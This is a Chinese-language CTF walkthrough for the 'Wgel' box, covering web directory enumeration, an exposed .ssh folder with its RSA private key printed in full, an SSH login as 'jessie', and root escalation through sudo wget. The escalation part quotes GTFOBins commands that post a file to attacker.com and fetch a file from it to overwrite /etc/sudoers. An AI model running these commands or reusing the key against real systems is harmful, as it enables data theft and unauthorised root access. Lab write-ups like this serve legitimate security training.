Wgel CTF
刚进去发现是Ubuntu-Apache2的默认界面
源码注释:
<!-- Jessie don't forget to udate the webiste -->
目录扫描:
[12:06:23] Starting:
[12:06:27] 403 - 278B - /.ht_wsr.txt
[12:06:27] 403 - 278B - /.htaccess.bak1
[12:06:27] 403 - 278B - /.htaccess.orig
[12:06:27] 403 - 278B - /.htaccess.save
[12:06:27] 403 - 278B - /.htaccess.sample
[12:06:27] 403 - 278B - /.htaccess_extra
[12:06:27] 403 - 278B - /.htaccessBAK
[12:06:27] 403 - 278B - /.htaccess_orig
[12:06:27] 403 - 278B - /.htaccessOLD
[12:06:27] 403 - 278B - /.htaccess_sc
[12:06:27] 403 - 278B - /.htaccessOLD2
[12:06:27] 403 - 278B - /.htm
[12:06:27] 403 - 278B - /.html
[12:06:27] 403 - 278B - /.htpasswd_test
[12:06:27] 403 - 278B - /.htpasswds
[12:06:27] 403 - 278B - /.httr-oauth
[12:07:27] 403 - 278B - /server-status
[12:07:27] 403 - 278B - /server-status/
[12:07:30] 301 - 316B - /sitemap -> http://10.201.121.59/sitemap/
找到一个好用的字典:
接着扫描:
~$ gobuster dir -u http://10.201.13.133/sitemap/ -w ~/SecLists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.201.13.133/sitemap/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/Birkenwald/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/.ssh (Status: 301) [Size: 321] [--> http://10.201.13.133/sitemap/.ssh/]
/css (Status: 301) [Size: 320] [--> http://10.201.13.133/sitemap/css/]
/fonts (Status: 301) [Size: 322] [--> http://10.201.13.133/sitemap/fonts/]
/images (Status: 301) [Size: 323] [--> http://10.201.13.133/sitemap/images/]
/js (Status: 301) [Size: 319] [--> http://10.201.13.133/sitemap/js/]
Progress: 20481 / 20482 (100.00%)
===============================================================
Finished
===============================================================我们可以看到.ssh被泄露,访问呢之后可以拿到rsa私钥.
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA2mujeBv3MEQFCel8yvjgDz066+8Gz0W72HJ5tvG8bj7Lz380
m+JYAquy30lSp5jH/bhcvYLsK+T9zEdzHmjKDtZN2cYgwHw0dDadSXWFf9W2gc3x
W69vjkHLJs+lQi0bEJvqpCZ1rFFSpV0OjVYRxQ4KfAawBsCG6lA7GO7vLZPRiKsP
y4lg2StXQYuZ0cUvx8UkhpgxWy/OO9ceMNondU61kyHafKobJP7Py5QnH7cP/psr
+J5M/fVBoKPcPXa71mA/ZUioimChBPV/i/0za0FzVuJZdnSPtS7LzPjYFqxnm/BH
Wo/Lmln4FLzLb1T31pOoTtTKuUQWxHf7cN8v6QIDAQABAoIBAFZDKpV2HgL+6iqG
/1U+Q2dhXFLv3PWhadXLKEzbXfsAbAfwCjwCgZXUb9mFoNI2Ic4PsPjbqyCO2LmE
AnAhHKQNeUOn3ymGJEU9iJMJigb5xZGwX0FBoUJCs9QJMBBZthWyLlJUKic7GvPa
M7QYKP51VCi1j3GrOd1ygFSRkP6jZpOpM33dG1/ubom7OWDZPDS9AjAOkYuJBobG
SUM+uxh7JJn8uM9J4NvQPkC10RIXFYECwNW+iHsB0CWlcF7CAZAbWLsJgd6TcGTv
2KBA6YcfGXN0b49CFOBMLBY/dcWpHu+d0KcruHTeTnM7aLdrexpiMJ3XHVQ4QRP2
p3xz9QECgYEA+VXndZU98FT+armRv8iwuCOAmN8p7tD1W9S2evJEA5uTCsDzmsDj
7pUO8zziTXgeDENrcz1uo0e3bL13MiZeFe9HQNMpVOX+vEaCZd6ZNFbJ4R889D7I
dcXDvkNRbw42ZWx8TawzwXFVhn8Rs9fMwPlbdVh9f9h7papfGN2FoeECgYEA4EIy
GW9eJnl0tzL31TpW2lnJ+KYCRIlucQUnBtQLWdTncUkm+LBS5Z6dGxEcwCrYY1fh
shl66KulTmE3G9nFPKezCwd7jFWmUUK0hX6Sog7VRQZw72cmp7lYb1KRQ9A0Nb97
uhgbVrK/Rm+uACIJ+YD57/ZuwuhnJPirXwdaXwkCgYBMkrxN2TK3f3LPFgST8K+N
LaIN0OOQ622e8TnFkmee8AV9lPp7eWfG2tJHk1gw0IXx4Da8oo466QiFBb74kN3u
QJkSaIdWAnh0G/dqD63fbBP95lkS7cEkokLWSNhWkffUuDeIpy0R6JuKfbXTFKBW
V35mEHIidDqtCyC/gzDKIQKBgDE+d+/b46nBK976oy9AY0gJRW+DTKYuI4FP51T5
hRCRzsyyios7dMiVPtxtsomEHwYZiybnr3SeFGuUr1w/Qq9iB8/ZMckMGbxoUGmr
9Jj/dtd0ZaI8XWGhMokncVyZwI044ftoRcCQ+a2G4oeG8ffG2ZtW2tWT4OpebIsu
eyq5AoGBANCkOaWnitoMTdWZ5d+WNNCqcztoNppuoMaG7L3smUSBz6k8J4p4yDPb
QNF1fedEOvsguMlpNgvcWVXGINgoOOUSJTxCRQFy/onH6X1T5OAAW6/UXc4S7Vsg
jL8g9yBg4vPB8dHC6JeJpFFE06vxQMFzn6vjEab9GhnpMihrSCod
-----END RSA PRIVATE KEY-----
这时候我们想起前面的注释提到的名字.猜测可能是用户名:
chmod 400 id_rsa.txt
sudo ssh -i id_rsa.txt jessie@10.201.13.133
连接之后我们搜索到当前用户能够访问到的flag:
>find / -name *flag*
/home/jessie/Documents/user_flag.txt
然后我们执行sudo -l 查看有没有哪些不需要密码就可以以root权限执行的命令:
注意
sudo -i显示的内容在/etc/sudoers中.
发现wget可以利用.
这里有两种打法:
-
通过覆盖
etc/sudoers文件,修改不用密码可root权限执行的命令的范围. -
通过猜测在root目录下flag文件名为
root_flag.txt来直接读取.具体利用手法参考:
https://gtfobins.github.io/gtfobins/wget/
思路一:
上传出来要改写的具体文件内容:
URL=http://attacker.com/
LFILE=file_to_send
wget --post-file=$LFILE $URL改写后:
URL=http://attacker.com/file_to_get
LFILE=file_to_save
wget $URL -O $LFILE
思路二:
LFILE=file_to_read
wget -i $LFILE
成功拿到root_flag.
